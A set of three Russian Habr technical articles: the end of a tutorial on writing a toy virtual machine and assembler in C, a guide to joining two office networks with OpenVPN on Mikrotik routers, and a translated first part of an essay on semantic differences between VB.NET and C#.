STDA /* Адресный флаг / Address flag */
};
```
Стандартная команда имеет вид: [команда] [флаг] [данные] (вид некоторых команд может отличаться), основываясь на этом напишем простой интерпретатор:
```
if (memory[cell] == CRG && memory[cell + 1] == STDI) {
indxX = memory[cell + 2];
cell++;
}
else if (memory[cell] == CRC && memory[cell + 1] == STDI) {
indxY = memory[cell + 2];
cell++;
}
else if (memory[cell] == PRG && memory[cell + 1] == STDI) {
reg[indxX][0] = memory[cell + 2];
cell++;
}
else if (memory[cell] == PRC && memory[cell + 1] == STDI) {
reg[indxX][indxY] = memory[cell + 2];
cell++;
}
```
indxX & indxY – это переменные хранящие текущую позицию курсора в регистре reg.
сell – это переменная хранящая текущую позицию курсора в массиве memory.
Но программирование цифрами это не слишком удобно поэтому при помощи препроцессора C опишем наш ассемблер. Я понимаю что написание asm посредством макросов это не очень хорошо, но данное решение временное.
Код нашего asm выглядит так:
```
/* Команды */
#define $CRG {memory[memIndx++] = CRG;}
#define $CRC {memory[memIndx++] = CRC;}
#define $PRG {memory[memIndx++] = PRG;}
#define $PRC {memory[memIndx++] = PRC;}
/* Флаги */
#define _$STDI {memory[memIndx++] = STDI;}
#define _$STDA {memory[memIndx++] = STDA;}
/* Данные */
#define _$DATA memory[memIndx++] =
```
memIndx – это переменная хранящая текущую позицию курсора в массиве memory.
А вот код на нашем asm кладущий 123 в регистр по адресу [1][0] (первый регистр, нулевая ячейка):
```
$CRG /* Выбираем регистр */
_$STDI /* Используем флаг STDI */
_$DATA 1; /* Передаём данные */
$CRC /* Выбираем ячейку */
_$STDI
_$DATA 0;
$PRC /* Кладём значение */
_$STDI
_$DATA 123;
```
Поздравляю, теперь у нас есть подобие asm для нашей машины!
Запуск программ
---------------
Нам удалось заставить нашу машину исполнять программы, но коду не хватает переносимости с одной машины на другую, поэтому сейчас мы займёмся созданием генератора машинного кода из asm (а я напомню что в отличие от настоящих компьютеров наша машина имеет машинный код представленный не в виде двоичных, а десятичных чисел), в принципе это не так сложно, но для начала давайте продумаем реализацию.
Сначала у нас есть asm код, теперь нам надо его перевести в числа, потом записать полученный машинный код в файл .ncp (numeric code program, по факту это текстовый файл, но чтобы его отличать от всего прочего я придумал собственное расширение), после этого нам надо запустить .ncp файл, сделать это просто, так как написанный нами ранее, интерпретатор распознаёт именно числа на нужно только извлекать данные из файла и превращать их в числа с помощью atoi().
Перейдём от слов к делу:
Чтение кода и запись его в файл:
```
if (memory[i] == CRG && memory[i + 1] == STDI) {
fprintf(code, "%d %d ", CRG, STDI);
i++;
}
else if (memory[i] == CRC && memory[i + 1] == STDI) {
fprintf(code, "%d %d ", CRC, STDI);
i++;
}
else if (memory[i] == PRG && memory[i + 1] == STDI) {
fprintf(code, "%d %d ", PRG, STDI);
i++;
}
else if (memory[i] == PRC && memory[i + 1] == STDI) {
fprintf(code, "%d %d ", PRC, STDI);
i++;
}
```
Код является частью тела функции ncpGen().
Чтение файла и его исполнение:
```
if (prog != NULL) {
fread(txt, 1, len, prog);
tok = strtok(txt, " ");
while (tok != NULL) {
memory[i] = atoi(tok);
tok = strtok(NULL, " ");
if (argc == 3 && strcmp(argv[2], "-m") == 0) {
printf("%d\n", memory[i]);
}
i++;
}
memInter();
}
else {
perror("Fail");
}
```
А теперь определим макрос для того чтобы вместо интерпретации asm код превращался в .ncp:
```
#define _toNCP(name) {strcpy(filename, name);} {ncpGen();}
```
Если что, то в статье представлен не весь код, а только его небольшая часть!
Полный код есть в [репозитории](https://github.com/Centrix14/TVM) проекта.
Спасибо большое за прочтение! | https://habr.com/ru/post/442988/ | null | ru | null |
# Не совсем обычное VPN соединение обычными средствами
Искал интересную тему, заслуживающую внимания, чтобы получить инвайт на Хаброхабре и вот нашёл. Такой особенный случай мне пришлось недавно реализовать.
#### Постановка задачи: Получить доступ к узлам удалённой сети.
Здесь мы будем говорить о двух сетях, которые нужно объединить, одну из которых я буду называть «моя офисная сеть», а другую «удалённая сеть».
Системный администратор удалённой сети отказывается вносить наименьшие изменения, для подключения и единственное что можно сделать — это поместить своё оборудование в удалённой сети. Выход в интернет из этой сетиv4 производится через шлюз, который натит в мир. Нужно построить тоннель, между двумя офисами, чтобы узлы моей офисной сети могли получать доступ к узлам удалённой сети, при минимальных изменениях c обеих сторон.
Для выполнения задачи объединения двух сетей и построения виртуального тоннеля нужно использовать Virtual Private Network. В ходе поиска подходящего варианта подключения, для себя разделил VPN на два вида: клиент-серверный вариант и равноправный. В следующих моментах заключается принципиальное отличие:
* В равноправном VPN, использующем глобальную сеть интернет, нужно иметь один реальный IP адрес, для каждого из узлов (минимум 2-ва узла). Здесь соединение может быть инициировано каждой из сторон (именно поэтому я так и обозвал его, равноправный), их может быть больше двух.
* В клиент-серверном варианте, использующем глобальную сеть интернет, нужен только один реальный IP адрес, для сервера. Соединение здесь происходит по требованию клиента, сервер всегда ожидает, клиентов может быть больше одного.
Примечание1: В обоих вариантах должно соблюдается одно из условий (для клиент-серверного варианта, только для сервера):
* A. VPN peer, должен находится непосредственно на шлюзе (должно быть установлено дополнительное ПО, или устройство должно быть способно устанавливать нужный тип VPN соединений).
* B. Если же нет возможности запустить VPN peer непосредственно на шлюзе, нужно его сконфигурировать так, чтобы он смог пропускать порт на другое устройство, настроенное как VPN peer.
Примеры VPN протоколов:
Клиент-серверный VPN:
* PPTP;
* L2TP;
* OpenVPN;
* PPPoE;
* ...
Равноправный VPN:
* IPSec;
* ...
Таким образом, становится очевиден выбор варианта — *Клиент-серверный VPN*. Так как менять со стороны клиента ничего не нужно в этом варианте.
#### Какой же из клиент-серверных вариантов выбрать?
И первое что приходит на ум — старый добрый PPTP. Недостатков в плане безопасности у него полно, хотя существуют его более продвинутые, новые, версии. Не смотря на огрехи в плане безопасности, у PPTP есть ещё одна очень не приятная особенность — это протокол GRE, используемый PPTP клиентом для установления соединения с сервером. В случае установки связи по схеме указанной в Примечании1.B оборудование которое производит перенаправление порта (Port Forwarding) должно уметь пропускать соединение по протоколу PPTP (Часто расположен в секции Application Level Gateway) через себя (Функция часто называется pass through PPTP, что с английского так и переводится пропустить PPTP через себя). Это связано с особенностями протокола и тем, что изначально PPTP не был рассчитан на работу через NAT. Если такой функции нет, то в этой схеме VPN канал установлен не будет по той простой причине, что сервер не увидит входящего запроса на соединение.
PPPoE, L2TP и PPTP использует далёкие от совершенства протоколы авторизации pap, chap, mscap1 и mscap2.
К счастью протокол OpenVPN лишен большинства выше перечисленных недостатков, не использует протокол GRE и был специально разработан с учётом особенностей сетей использующих NAT.
Немного об Open VPN: Работает на порту 1194, может использовать как TCP так и UDP протоколы. Протокол уровня приложения, по модели OSI.
Таким образом, выбор из этих протоколов стал тоже очевиден — *OpenVPN*. Конечно же, он не идеален и не панацея, но для этого случая подойдёт наилучшим образом.
##### Немного подрезюмируем.
Будем использовать OpenVPN сервер со стороны моей офисной сети (где я могу что-то менять, по большому счёту могу всё менять, просто не хочу) будет сервер, а со стороны удалённой сети будет клиент. Для того, чтобы сильно не менять схему своей офисной сети, в которой фаервол является аппаратным устройством (и у которого нет встроенного OpenVPN сервера), нужно поставить за ним устройство с OpenVPN сервером и пробросить на него порт 1194.
Теперь мы представляем, как будет устанавливаться связь между клиентом и сервером, но как узлы сети моего офиса смогут видеть узлы удалённой сети?
Чтобы не вносить изменения в маршруизаторы удалённой сети будем скрывать сеть моего офиса НАТом. Со стороны моего офиса, на маршрутизаторе, запишем маршрут, к удалённой сети через ВПН тоннель.
Недостатком маскирования, в данном случае, может стать, не возможность получения доступа узлов удалённой сети к узлам моего офиса, что в данном случае, скорее, преимущество.
##### Созревшая схема.
[](http://habrastorage.org/getpro/habr/post_images/629/371/cb2/629371cb262d9ac43334aead57b297cf.png)
На схеме красным цветом отображен тоннель установленный клиентом к серверу, чёрным пунктиром отображен маршрут пакета от узла из моего офиса к узлу из удалённого офиса через тоннель.
На прокси-сервере 192.168.0.1-192.168.100.3 были добавлены маршруты:
`Route 10.0.0.0/8 192.168.100.2
Route 192.168.1.0/30 192.168.100.2`
Здесь мы заворачиваем все пакеты, адресованные сети 192.168.1.0/30 и 10.0.0.0/8 на маршрутизатор 192.168.100.2-192.168.1.1. На этом же маршрутизаторе работает OpenVPN Server. Все пакеты по умолчанию пересылаются в интернет через шлюз 192.168.100.1-Real\_1, а для сети 10.0.0.0/8 пересылаются через виртуальный канал, построенный в сети интернет на OpenVPN Client 192.168.1.2-10.1.1.2.
Для нормальной работы OpenVPN Server'а на шлюзе 192.168.100.1-Real\_1 проброшен на него порт 1194.
На OpenVPN Client'е прописан адрес из удалённой подсети 10.1.1.2. Шлюз по умолчанию для него 10.1.1.1. Клиент устанавливает связь в интернет через реальный IP адрес Real\_1. Для сети 192.168.100.0/24 прописан маршрут через 192.168.1.1-192.168.100.2 для того чтобы пакеты пришедшие из моего офиса благополучно вернулись обратно. Здесь же, на клиенте, установлено правило в файерволе (таблица NAT): пакеты, пришедшие из сети 192.168.100.0/24, маскируются (masquerading) под адрес из этой подсети (10.1.1.2).
#### Теоретическая проверка прохождения пакетов
Так пакеты из моей сети будут попадать в удалённую сеть и обратно в соответствии с правилами:
Пакеты, посланные узлом 192.168.0.123 из моего офиса в удалённую сеть 10.0.0.0/8 на узел 10.0.0.123 будут замаскированы шлюзом 192.168.0.1-192.168.100.3 под адрес 192.168.100.3 и по правилу направятся в маршрутизатор 192.168.100.2-192.168.1.1, откуда они перенаправятся через адрес 192.168.1.1 на адрес маршрутизатора 192.168.1.2-10.1.1.2, где они снова будут замаскированы под адрес 10.1.1.2, откуда благополучно дойдут до адресата 10.0.0.123. Адрес 10.0.0.123 пошлёт ответ 10.1.1.2-192.168.1.2, который отошлёт ответ с адреса 192.168.1.2 на адрес 192.168.1.1-192.168.100.2, который вернёт пакет с адреса 192.168.100.2 серверу 192.168.100.3-192.168.0.1, который передаст пакет обратно 192.168.0.123 с адреса 192.168.0.1.
Эта подробная процедура прослеживания прохождения пакетов понадобилась для того чтобы удостоверится, что все настройки были сделаны правильно и ничего не было пропущено.
##### Какое оборудование выбрать в качестве OpenVPN сервера и клиента?
Можно использовать обычный компьютер с установленной системой \*nix и пакетом ПО OpenVPN.
А можно использовать специализированное оборудование. Так сложилось, что у меня были два Mikrotik RB450.
#### Настройка RB450 или почему я не тестировал PPTP.
Дело в том, что первый раз я пытался тестировать всё на PPTP, но клиент не мог установить связь с сервером, хотя с компьютера под Windows установить связь было возможно.
##### Обновление Mikrotik RB450 с версии 3.22 на 4.20:
Только с версии 3.25 или выше можно обновляться до 4.20, так написано на официальном сайте [www.mikrotik.com/download.html#2.php](http://www.mikrotik.com/download.html#2.php).
Поэтому в разделе загрузки выбираем нашу систему, а в разделе Software выбираем Legacy. Здесь я выбрал последний релиз 3.30, который без лишних вопросов ставится поверх 3.22:
Делал по аналогии со статьей [www.asp24antenna.com.ua/obnovlenie-s-328-os-na-routeros-40](http://www.asp24antenna.com.ua/obnovlenie-s-328-os-na-routeros-40/).
Открываем WinBOX заходим в files, перетягиваем туда файл прошивки 3.30, перезагружаемся и ждём двойного пика — всё прошивка уже стоит. Потом заходим в System>License и жмём обновить (роутер должен быть в это время подключён к сети интернет с настроенным DNS). После обновления снова скачиваем только уже новую прошивку и кидаем её в роутер, перезагружаемся — всё у нас самая новая прошивка! Провозился с обновлением обоих микротиков RB450 с версии 3.22 на 3.30 а потом на 4.20, но это не помогло и никак не исправило ситуации с PPTP :(
##### Решил строить сразу на OpenVPN.
По руководству этой стати [wiki.mikrotik.com/wiki/OpenVPN](http://wiki.mikrotik.com/wiki/OpenVPN) я создал сертификаты и импортировал их. За подробностями обращайтесь к указанной статье. Опишу только ключевые моменты или те, которые вызывали трудности.
Создал аккаунт на [CAcert.org](http://CAcert.org), хотя это вовсе не обязательно, можно выдать самоподписанный сертификат.
На роутере, который будет OpenVPN server'ом, выполняем команды:
`/certificate create-certificate-request
#Обязательно заполнить следующие поля:
passphrase:
(Your name) common name:
#Мы получим два файла
certificate-request.pem
private-key.pem`
Открываем файл certificate-request.pem копируем его содержимое (скопировать на компьютер, к примеру, по FTP или перетяните на рабочий стол из WinBOX'а) и вставляем в форму на сайте [CAcert.org](http://CAcert.org) (нужна регистрация) Server Certificates>New, полученный ответ копируем в файл certificate-response.pem (нужно залить на OpenVPN server).
Теперь импортируем сертификаты в WinBOX:
`System> Certificates> Import
сначала добавим certificate-response.pem
потом private-key.pem`
После чего у добавляемого сертификата появится пометка KR. Если вместо неё вы видите QR, импортируйте private-key.pem ещё раз (мне помогло).
Теперь приступаем к созданию сервера (не забудьте поменять под свои нужды):
`/ interface ethernet
set ether1 name="ether1"
#Этого можно и не делать
/ interface bridge
add name="lan" arp=proxy-arp
#Внимание, этот аргумент важен arp=proxy-arp!
/ interface bridge port
add interface=ether1 bridge=lan
/ ip address
add address=192.168.1.1/24 interface=lan
#Это адрес сервера
/ ip pool
add name="ovpn-pool" ranges=192.168.1.2-192.168.1.2
#В пуле будет только один адрес.
/ ppp profile
add name="ovpn-profile" local-address=192.168.1.1 remote-address=ovpn-pool use-encryption=yes only-one=yes change-tcp-mss=default
#Странно, но это создается в / ppp %)
/interface ovpn-server server
set enabled=yes auth=sha1 netmask=24 certificate=cert1 max-mtu=1500 port=1194 cipher=aes256 keepalive-timeout=60 mode=ip require-client-certificate=no default-profile=ovpn-profile
#Настраиваем наш сервер на необходимый уровень безопасности
#Важно выбрать mode=ip !
/ ppp secret
add name="user-1" service=pptp password="123456" profile=ovpn-profile
#Обязательно указывайте имя пользователя и пароль в кавычках!`
##### На роутере, который будет OpenVPN Client'ом выполняем:
`/interface ovpn-client
add name="ovpn-out1" connect-to=Real_1 port=1194 mode=ip user="user-1" password="123456" profile=default certificate=none cipher=aes256 add-default-route=no
#Вместо Real_1 поставьте реальный IP вашего OpenVPN сервера.
#Имя пользователя и пароль указываем в кавычках!
#Важно выбрать mode=ip !
/ip firewall nat
chain=srcnat out-interface=ether1 src-address=192.168.100.0/24 action=masquerade
#Маскируем адреса пришедшие с 192.168.100.0/24
#На этом всё :)`
#### Лирическое отступление
Интересно отметить, что, теоретически, есть возможность установки ВПН соединения, не имея ни одного реального IP адреса. Аналог такого соединения – устанавливаемое голосовыми интернет месагерами типа скайп. Суть такого соединения состоит в том, что есть несколько узлов и один сервер. Каждый узел соединён с сервером, но когда узел1 хочет установить сеанс связи с узлом2, он запрашивает параметры установленного соединения на сервер узла2, у сервера, после чего «вклинится» вместо сервера, до разрыва установленного соединения и установит его напрямую. Это реализуется при помощи протокола SIP (Session Initiation Protocol). Именно по этому сервера Скайп не загружены промежуточным трафиком, генерируемым клиентами. Результат таких изысканий установки соединения ВПН тоннеля используя SIP контроль привёл по ссылке [www.ietf.org/mail-archive/web/sipping/current/msg10092.html](http://www.ietf.org/mail-archive/web/sipping/current/msg10092.html). К сожалению, широкого распространения эта идея не приобрела, не смотря на то, что существуют [наброски VPN-SIP от IETF](https://datatracker.ietf.org/drafts/draft-saito-mmusic-sdp-ike/) и также существует описание от [ETSI TS 185 010 V2.1.1 (2009-07)](http://pda.etsi.org/pda/queryform.asp) (Нужно ввести «TS 185 010» и быть зарегистрированным членом ETSI чтобы прочесть документ).
Пример установки VPN соединения, используя SIP контроль:
[](http://habrastorage.org/getpro/habr/post_images/63b/e8e/750/63be8e750c9da086d1d0afdca4ffb229.png)
**Рис.1 Удалённый доступ к домашней сети.**
Всё же существуют закрытые, программы с аналогичным функционалом, такие как [Hamachi](http://www.logmeinhamachi.com/), [Teamviewer](http://www.teamviewer.com/), которые, вполне возможно, используют именно эту идею.
Только представьте, как преобразился бы мир, если бы он имел распространенный и стандартизированный протокол, по которому можно было бы установить VPN соединение, используя SIP контроль! | https://habr.com/ru/post/80883/ | null | ru | null |
# Исчерпывающий список различий между VB.NET и C#. Часть 1

Согласно [рейтингу](https://www.tiobe.com/tiobe-index/) TIOBE в 2018 году VB.NET обогнал по популярности C#. Совпадение или нет, но в феврале Эрик Липперт, один из создателей C#, [призвал](https://ericlippert.com/2019/02/12/exhausting-vs-exhaustive) читателей обратить внимание на блог его друга, бывшего коллеги по команде компилятора Roslyn и, по совместительству, ярого фаната VB.NET, [Энтони Грина](https://twitter.com/ThatVBGuy). «Подобные ресурсы — это глубинные детали от экспертов, которые не так легко найти, читая документацию», пишет Эрик. Представляем вашему вниманию первую часть перевода статьи Энтони Грина «Исчерпывающий список различий между VB.NET и C#». Возможно, именно в этих различиях кроется секрет динамики рейтинга этих языков.
За без малого полжизни я был свидетелем и участником бесчисленных дискуссий о том, насколько похожи или отличаются два самых популярных языка .NET. Сперва как любитель, затем как профессионал и, наконец, как защитник клиентов (customer advocate), программный менеджер и дизайнер языков, я без преувеличения могу сказать, сколько раз я слышал или читал что-то типа:
> *«… VB.NET — это на самом деле просто тонкий слой поверх IL, как C#…»*
или
> *«… VB.NET на самом деле просто C# без точек с запятой …»*
Как если бы языки были XML-преобразованием или таблицей стилей.
И если некий пылкий посетитель не пишет это в комменте, то часто это подразумевается в вопросах вроде: *«Привет, Энтони! Я столкнулся вот с таким небольшим различием в одном единственном месте — это баг? Как могли эти два в остальном идентичных языка, которые и должны быть идентичны во имя всего доброго и святого в этом мире, разойтись в одном этом месте? За что нам такая несправедливость?!*
«**Разойтись**», как будто они были одинаковыми, пока не произошла мутация, а *затем* стали отдельными видами. ХА!
Но мне это понятно. До того, как я присоединился к Microsoft, я, возможно, тоже смутно придерживался этой идеи и использовал ее в качестве аргумента, чтобы ответить противникам или кого-то успокоить. Я понимаю ее очарование. Ее легко понять и очень легко повторять. Но работая над Roslyn (по сути переписывание VB и C# полностью с нуля) в течение 5 лет, я понял, насколько **однозначно ложной является эта идея**. Я работал с командой разработчиков и тестировщиков, чтобы реализовать заново каждый дюйм обоих языков, а также их инструментарий в огромном многопроектном солюшене с миллионами строк кода, написанными на обоих языках. И с учетом большого количества разработчиков, переключающихся между ними туда и обратно, и высокой планки совместимости с результатами и опытом предыдущих версий, а также необходимостью достоверно воспроизвести в мельчайших деталях гигантский объем API, я был вынужден очень близко познакомиться с различиями. На самом деле, иногда мне казалось, что я узнаю что-то новое о VB.NET (мой любимый язык) каждый день.
И вот, наконец, я нашел время, чтобы засесть и выгрузить из мозга частицу того, что я узнал, используя и создавая VB.NET за последние 15 лет, в надежде, что я смогу как минимум сэкономить в следующий раз свое время.
Прежде чем перейти к списку, я изложу основные правила:
* Этот список не является исчерпывающим в обычном смысле. Он исчерпывающий силы. Это не все существующие различия. Это даже не все различия, которые я вообще знаю. Это просто различия, которые я могу вспомнить первыми, пока не слишком устану, чтобы продолжать; пока не исчерпаю силы. Если же я или кто-то из вас встретит или вспомнит другие различия, я с удовольствием обновлю этот список.
* Я начну с начала спецификации VB 11 и двинусь вниз, используя ее содержание, чтобы напомнить себе о различиях, которые приходят в голову по этой теме первыми.
* **Это НЕ список функций в VB, которых нет в C#.** Так что никаких «XML-литералы против указателей». Это слишком банально, и уже есть тонны таких списков в Интернете (некоторые из которых были написаны мной, и, возможно, в будущем я напишу еще). Я сфокусируюсь прежде всего на конструкциях, имеющих аналог в обоих языках, и где неосведомленный наблюдатель может предположить, что эти две вещи ведут себя одинаково, но где есть маленькие или большие различия; они могут одинаково выглядеть, но по-разному работать или генерировать в конечном счете разный код.
* **Это НЕ список синтаксических различий между VB и C#** (которых бесчисленное множество). Я буду в основном говорить о семантических различиях (что вещи означают), а не о синтаксических (как вещи пишутся). Так что никаких штук типа «VB начинает комментарии с ', а C# использует //» или «в C# \_ является допустимым идентификатором, но не в VB». Но я нарушу это правило для нескольких случаев. В конце концов, первый раздел спецификации посвящен лексическим правилам.
* Довольно часто я буду приводить примеры, а иногда буду предлагать обоснования, почему дизайн мог пойти тем или иным путем. Некоторые решения по дизайну принимались на моих глазах, но подавляющее большинство предшествовало моему времени, и я могу только догадываться, почему они были приняты.
* Пожалуйста, оставьте комментарий или напишите мне в Твиттере ([@ThatVBGuy](https://twitter.com/ThatVBGuy)), чтобы сообщить мне ваши любимые отличия и/или те, о которых вы хотели бы узнать поглубже.
Определившись с ожиданиями и без дальнейших задержек…
Содержание
----------
**Скрытый текст**#### Синтаксис и препроцессинг
* [1. Ключевые слова и операторы VB могут использовать full-width символы](#section1)
* [2. VB поддерживает «умные кавычки»](#section2)
* [3. Константы препроцессинга могут быть любого примитивного типа (включая даты) и могут содержать любое константное значение](#section3)
* [4. В выражениях препроцессинга могут использоваться произвольные арифметические операторы](#section4)
#### Объявления и пр.
* [5. VB иногда пропускает объявления implements в IL для предотвращения случайной неявной реализации интерфейса по имени](#section5)
* [6. VB по умолчанию скрывает члены базового класса по имени (Shadows), а не по имени и сигнатуре (Overloads)](#section6)
* [7. VB11 и ниже являются более строгими к Protected-членам в дженериках](#section7)
* [8. Синтаксис «именованный аргумент (Named argument)» в атрибутах всегда инициализирует свойства / поля](#section8)
* [9. Все объявления верхнего уровня (обычно) неявно находятся в корневом пространстве имен проекта.](#section9)
* [10. Модули не генерируются как запечатанные (sealed) абстрактные классы в IL, поэтому они не похожи в точности на статические классы C# и наоборот](#section10)
* [11. Вам не нужен явный метод для точки входа (Sub Main) в приложениях WinForms](#section11)
* [12. Если вы вызываете некоторые устаревшие методы рантайма VB (например, FileOpen), вызывающий метод будет неявно помечен атрибутом, чтобы отключить инлайнинг из соображений корректности](#section12)
* [13. Если ваш тип помечен атрибутом DesignerGenerated и не содержит каких-либо явных объявлений конструктора, то генерируемый компилятором по умолчанию вызовет InitializeComponent, если он определен для этого типа.](#section13)
* [14. Отсутствие модификатора Partial НЕ означает, что тип не является partial](#section14)
* [15. В классах по умолчанию уровень доступа Public для всего, кроме полей, а в структурах Public и для полей тоже](#section15)
* [16. VB инициализирует поля ПОСЛЕ вызова базового конструктора, тогда как C # инициализирует их ДО вызова базового конструктора](#section16)
* [17. Неявно объявленное вспомогательное поле (backing field) событий VB имеет другое имя, нежели в C#, и доступно по имени](#section17)
* [18. Неявно объявленное вспомогательное поле авто-свойств VB имеет обычное имя и доступно по этому имени](#section18)
* [19. Неявно объявленное вспомогательное поле read-only авто-свойств позволяет запись](#section19)
* [20. Атрибуты событий иногда применяются к вспомогательному полю событий](#section20)
#### Инструкции
* [21. Область действия метки — это тело всего метода, ее содержащего; Вы можете прыгать внутрь блоков (не всех)](#section21)
* [22. Время жизни локальной переменной <> области видимости](#section22)
* [23. Переменные всегда инициализируются значением по умолчанию для соответствующего типа](#section23)
* [24. RaiseEvent НЕ выдает исключение, если вспомогательное поле равно null](#section24)
* [25. Присвоения не всегда одинаковы; иногда присвоение ссылочного типа выполняет поверхностную копию (shallow clone)](#section25)
* [26. Select Case не поддерживает «проваливание» (fall-through); не требуется break](#section26)
* [27. Каждый блок Case имеет свою область видимости](#section27)
* [28, 29, 30. Select Case работает с не примитивными типами, может использовать произвольные неконстантные выражения в проверках и по умолчанию использует оператор =](#section28to30)
* [31. Переменные, объявленные внутри циклов, в некотором роде сохраняют свое значение между итерациями](#section31)
* [32. Три выражения цикла For вычисляются только один раз в начале цикла](#section32)
* [33. For Each циклы в VB могут использовать extension-метод GetEnumerator](#section33)
Синтаксис и препроцессинг
-------------------------
### 1. Ключевые слова и операторы VB могут использовать полноширинные (full-width) символы
В некоторых языках (не знаю, в скольких точно, но как минимум в некоторых формах китайского, японского и корейского) используются полноширинные символы. Вкратце это означает, что при использовании моноширинного шрифта (как это делают большинство программистов) китайский символ будет занимать в два раза больше места по горизонтали, чем латинские символы, которые мы привыкли видеть на западе. Например:

Здесь у меня объявление переменной, написанное на японском языке, и инициализация строкой, также написанной на японском языке. Согласно переводчику Bing, переменная называется «greeting», а в строке написано «Hello World!». Имя переменной на японском составляет всего 2 символа, но оно занимает пространство из 4 символов половинной ширины, которые обычно выдает моя клавиатура, как демонстрирует первый комментарий. Существуют полноширинные версии чисел и всех других печатных ASCII-символов, имеющие ту же ширину, что и японские. Чтобы продемонстрировать это, я написал второй комментарий, используя полноширинные числа «1» и «2». Это не такие «1» и «2», как в первом комментарии. Между числами нет пробелов. Вы также можете видеть, что по размеру символы — не ровно 2 символа в ширину, там есть небольшое смещение. Частично это происходит потому, что эта программа смешивает полноширинные и полуширинные символы в одной строке и во всех трех строках.
Пробелы имеют половинную ширину, буквенно-цифровые символы — полную ширину. Мы не программисты, если не помешаны на выравнивании текста. И мне кажется, что если вы китаец, японец или кореец (или кто-то еще, кто использует полноразмерные символы для своего языка) и используете идентификаторы или строки, написанные на родном языке, эти мелкие ошибки выравнивания приводят в бешенство.
Насколько я понимаю, в зависимости от вашей японской клавиатуры переключаться между иероглифами и латынью легко, но предпочтительнее использовать полноширинные латинские символы. VB поддерживает это в ключевых словах, пробелах, операторах и даже кавычках. Так что все это можно записать так:

Как видите, в этой версии ключевые слова, пробелы, комментарии, операторы, даже кавычки используют свои полноразмерные версии. В хаос внесен порядок.
Да. Японцы используют VB. На самом деле, несмотря на синтаксис, похожий на английский язык (а может именно поэтому), для большинства пользователей VB, которых я вижу на форумах, английский язык не основной. За время работы в Microsoft я несколько раз встречал японцев VB MVP, по крайней мере, один из них постоянно приносил японские конфеты. Если вы VB-программист из Китая, Японии или Кореи (или из любой другой страны, которая использует полноширинные символы), пожалуйста, напишите в комментах. (В комментах автору написали, что японцы стараются везде в коде использовать ascii — *Прим. пер.*)
***Забавный момент:** Когда я первоначально реализовал в VB интерполированные строки, я (к своему позору) не учел возможность полноширинных фигурных скобок в местах подстановки. Владимир Решетников ([@vreshetnikov](https://twitter.com/vreshetnikov)) обнаружил и исправил эту ошибку, так что великая традиция толерантности VB к ширине символов осталась в силе.*
### 2. VB поддерживает «умные кавычки»
Ладно, это, конечно, мелочь, но достойная упоминания. Вы когда-нибудь видели пример кода в текстовом документе вроде такого:

А после копирования примера в ваш код обнаруживали, что ни одна из (подсвеченных) кавычек не работает, потому что Word заменяет все обычные кавычки ASCII на `“`умные кавычки`”`?
Я — нет. Ладно, у меня такое было, но только когда я копировал примеры на C#. В VB умные кавычки являются допустимыми разделителями для строк (забавно, что русские кавычки `«»` не работают — Прим. пер.):

Они также работают внутри строк, хотя, возможно, и странным образом. Если вы удвоите умные кавычки для экранирования, то все, что вы получите во время выполнения, — это просто обычную («глупую») кавычку. Это может показаться немного странным, но тем не менее весьма практично, поскольку почти нигде больше не допускается наличие в строке умных кавычек. Компилятор НЕ заставляет вас обязательно заканчивать умной кавычкой или использовать правильную, если вы начали с умной, так что можете смешивать как угодно и не заморачиваться. И да, это также работает с символом одинарных кавычек, используемым для комментариев:

Я пытался заставить Пола Вика ([@panopticoncntrl](https://twitter.com/panopticoncntrl)) признаться, что он сделал это исключительно потому, что замучился с этой проблемой при работе над спецификацией, но он отрицает вину. В VB6 этого не было, так что кто-то добавил это позже.
### 3. Константы препроцессинга могут быть любого примитивного типа (включая даты) и могут содержать любое константное значение

### 4. В выражениях препроцессинга могут использоваться произвольные арифметические операторы

Объявления и пр.
----------------
### 5. VB иногда пропускает объявления implements в IL для предотвращения случайной неявной реализации интерфейса по имени.
Этот пункт из разряда эзотерики. В VB реализация интерфейса всегда делается явно. Но оказывается, что в отсутствие явной реализации поведение CLR по умолчанию при вызове метода интерфейса заключается в поиске публичных методов по имени и сигнатуре. В большинстве случаев это нормально, потому что в VB *обычно* требуется предоставить реализацию для каждого члена интерфейса, который вы реализуете, кроме одного случая:
```
Interface IFoo
Sub Bar()
Sub Baz()
End Interface
Class Foo
Implements IFoo
Private Sub Bar() Implements IFoo.Bar
Exit Sub
End Sub
Private Sub IFoo_Baz() Implements IFoo.Baz
Exit Sub
End Sub
End Class
Class FooDerived
Inherits Foo
Implements IFoo
Public Sub Bar() Implements IFoo.Bar
Exit Sub
End Sub
Public Sub Baz()
' Does something unrelated to what an IFoo.Baz would do.
End Sub
End Class
```
[gist.github.com/AnthonyDGreen/39634fd98a0cacc093719ab62d7ab1e6#file-partial-re-implementation-vb](https://gist.github.com/AnthonyDGreen/39634fd98a0cacc093719ab62d7ab1e6#file-partial-re-implementation-vb)
В этом примере класс `FooDerived` всего лишь хочет переназначить `IFoo.Bar` на новый метод, но остальные реализации оставить без изменений. Оказывается, что если компилятор просто сгенерирует директиву implements для `FooDerived`, CLR также подхватит `FooDerived.Baz` как новую реализацию `IFoo.Baz` (хотя в этом примере он не связан с `IFoo`). В C# это происходит неявно (и я не уверен, можно ли от этого отказаться), но в VB компилятор фактически опускает 'Implements' из всего объявления, чтобы этого избежать, и переопределяет только конкретные члены, которые были реализованы заново. Другими словами, если вы спросите `FooDerived`, реализует ли он `IFoo` напрямую, он скажет «нет»:

Почему я это знаю и почему это важно? В течение многих лет пользователи VB просили поддержку для неявной реализации интерфейса (без явного указания `Implements` в каждом объявлении), как правило, для кодогенерации. Просто включить это с текущим синтаксисом было бы breaking change, потому что `FooDerived.Baz` теперь неявно реализует `IFoo.Baz`, хотя раньше этого не делал. Но совсем недавно я узнал об этом поведении получше при обсуждении потенциальных проблем в дизайне фичи «реализация интерфейса по умолчанию», которая позволила бы интерфейсам включать реализации по умолчанию некоторых членов и не требовать повторной реализации в каждом классе. Это было бы полезно для перегрузок, например, когда реализация с большой вероятностью будет одинаковой для всех реализующих (делегирование основной перегрузке). Другой сценарий — версионирование. Если интерфейс может включать реализации по умолчанию, вы можете добавлять в него новые члены, не ломая старые реализации. Но тут возникает проблема. Поскольку поведение по умолчанию в CLR заключается в поиске общедоступных реализаций по имени и сигнатуре, если класс VB не реализует члены интерфейса с реализациями по умолчанию, но имеет публичные члены с подходящим именем и сигнатурой, они неявно реализуют эти члены интерфейса, даже если делать это совершенно не предполагалось. Есть вещи, которые можно сделать, чтобы это обойти, когда полный набор членов интерфейса известен во время компиляции. Но в случае, если член был добавлен после компиляции кода, он просто молча поменяет поведение во время выполнения.
